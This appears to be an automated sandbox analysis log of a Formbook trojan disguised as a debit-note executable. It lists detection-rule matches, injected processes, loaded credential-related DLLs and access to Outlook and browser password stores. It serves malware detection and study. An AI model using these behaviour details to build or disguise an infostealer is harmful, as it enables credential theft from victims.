            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F370C06_2_02F370C0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F3B1B06_2_02F3B1B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F1F1726_2_02F1F172
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FFB16B6_2_02FFB16B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F6516C6_2_02F6516C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE16CC6_2_02FE16CC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F756306_2_02F75630
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEF7B06_2_02FEF7B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F214606_2_02F21460
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEF43F6_2_02FEF43F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FCD5B06_2_02FCD5B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE75716_2_02FE7571
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FDDAC66_2_02FDDAC6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FCDAAC6_2_02FCDAAC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F75AA06_2_02F75AA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FD1AA36_2_02FD1AA3
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FA3A6C6_2_02FA3A6C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEFA496_2_02FEFA49
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE7A466_2_02FE7A46
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FA5BF06_2_02FA5BF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F6DBF96_2_02F6DBF9
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4FB806_2_02F4FB80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEFB766_2_02FEFB76
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F338E06_2_02F338E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F9D8006_2_02F9D800
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F399506_2_02F39950
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4B9506_2_02F4B950
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FC59106_2_02FC5910
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F39EB06_2_02F39EB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02EF3FD56_2_02EF3FD5
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02EF3FD26_2_02EF3FD2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEFFB16_2_02FEFFB1
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F31F926_2_02F31F92
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEFF096_2_02FEFF09
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FEFCF26_2_02FEFCF2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FA9C326_2_02FA9C32
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F4FDC06_2_02F4FDC0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE7D736_2_02FE7D73
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02FE1D5A6_2_02FE1D5A
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02F33D406_2_02F33D40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026A1CD06_2_026A1CD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_0269CBD06_2_0269CBD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_0269AE706_2_0269AE70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_0269CDF06_2_0269CDF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026A53906_2_026A5390
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026A357B6_2_026A357B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026A35806_2_026A3580
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026BBA906_2_026BBA90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3E3366_2_02D3E336
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3E7ED6_2_02D3E7ED
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3E4536_2_02D3E453
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3CAE86_2_02D3CAE8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3CA6F6_2_02D3CA6F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3D8586_2_02D3D858
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_02D3D8236_2_02D3D823
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03C75130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03C2B970 appears 262 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03C87E54 appears 107 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03CAEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03CBF290 appears 103 times
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: String function: 004115D7 appears 36 times
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: String function: 00416C70 appears 39 times
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: String function: 00445AE0 appears 65 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02F77E54 appears 99 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02F1B970 appears 262 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02F9EA12 appears 86 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02F65130 appears 58 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02FAF290 appears 103 times
            Source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1671132214.0000000004A7D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs DEBIT NOTE 01ST SEP 2024.exe
            Source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1672400955.00000000048D3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs DEBIT NOTE 01ST SEP 2024.exe
            Source: DEBIT NOTE 01ST SEP 2024.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@8/5
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044AF6C GetLastError,FormatMessageW,0_2_0044AF6C
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004333BE
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464EAE
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D619
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,0_2_004755C4
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,0_2_0047839D
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043305F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeFile created: C:\Users\user\AppData\Local\Temp\cauldsJump to behavior
            Source: DEBIT NOTE 01ST SEP 2024.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.0000000002955000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2273172382.0000000002955000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: DEBIT NOTE 01ST SEP 2024.exeReversingLabs: Detection: 55%
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeFile read: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"Jump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wdscore.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\SysWOW64\TapiUnattend.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: DEBIT NOTE 01ST SEP 2024.exeStatic file information: File size 1404627 > 1048576
            Source: Binary string: TapiUnattend.pdbGCTL source: svchost.exe, 00000001.00000002.2070950140.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2070968293.0000000003619000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000002.3518333418.00000000009D8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: WrtyZOtiIHMYio.exe, 00000005.00000002.3518004096.000000000068E000.00000002.00000001.01000000.00000005.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3518024586.000000000068E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1672645397.0000000004950000.00000004.00001000.00020000.00000000.sdmp, DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1670993064.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978096326.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976259001.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.000000000308E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2095202012.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2087806876.0000000002B9D000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1672645397.0000000004950000.00000004.00001000.00020000.00000000.sdmp, DEBIT NOTE 01ST SEP 2024.exe, 00000000.00000003.1670993064.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1978096326.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976259001.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2071129850.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, TapiUnattend.exe, 00000006.00000002.3519157283.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3519157283.000000000308E000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2095202012.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000006.00000003.2087806876.0000000002B9D000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: TapiUnattend.exe, 00000006.00000002.3519849797.000000000351C000.00000004.10000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3517555982.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.00000000027AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2388939952.00000000347AC000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: TapiUnattend.exe, 00000006.00000002.3519849797.000000000351C000.00000004.10000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000006.00000002.3517555982.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000007.00000002.3519005063.00000000027AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2388939952.00000000347AC000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: TapiUnattend.pdb source: svchost.exe, 00000001.00000002.2070950140.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2070968293.0000000003619000.00000004.00000020.00020000.00000000.sdmp, WrtyZOtiIHMYio.exe, 00000005.00000002.3518333418.00000000009D8000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,0_2_0040EBD0
            Source: DEBIT NOTE 01ST SEP 2024.exeStatic PE information: real checksum: 0xa961f should be: 0x15f6a6
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00462463 push edi; ret 0_2_00462465
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00416CB5 push ecx; ret 0_2_00416CC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414856 pushfd ; ret 1_2_00414857
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417869 push edi; iretd 1_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417821 push edi; iretd 1_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040717F push 00000019h; iretd 1_2_0040719C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004061B5 push esp; ret 1_2_004061BB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00403240 push eax; ret 1_2_00403242
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00412268 push ds; retf 1_2_0041226D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041222B push ss; iretd 1_2_00412293
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041AAF3 push esi; iretd 1_2_0041AAFA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00412285 push ss; iretd 1_2_00412293
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00404BA0 pushad ; ret 1_2_00404BA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414562 push ebp; retf 1_2_004145CB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414566 push ebp; retf 1_2_004145CB
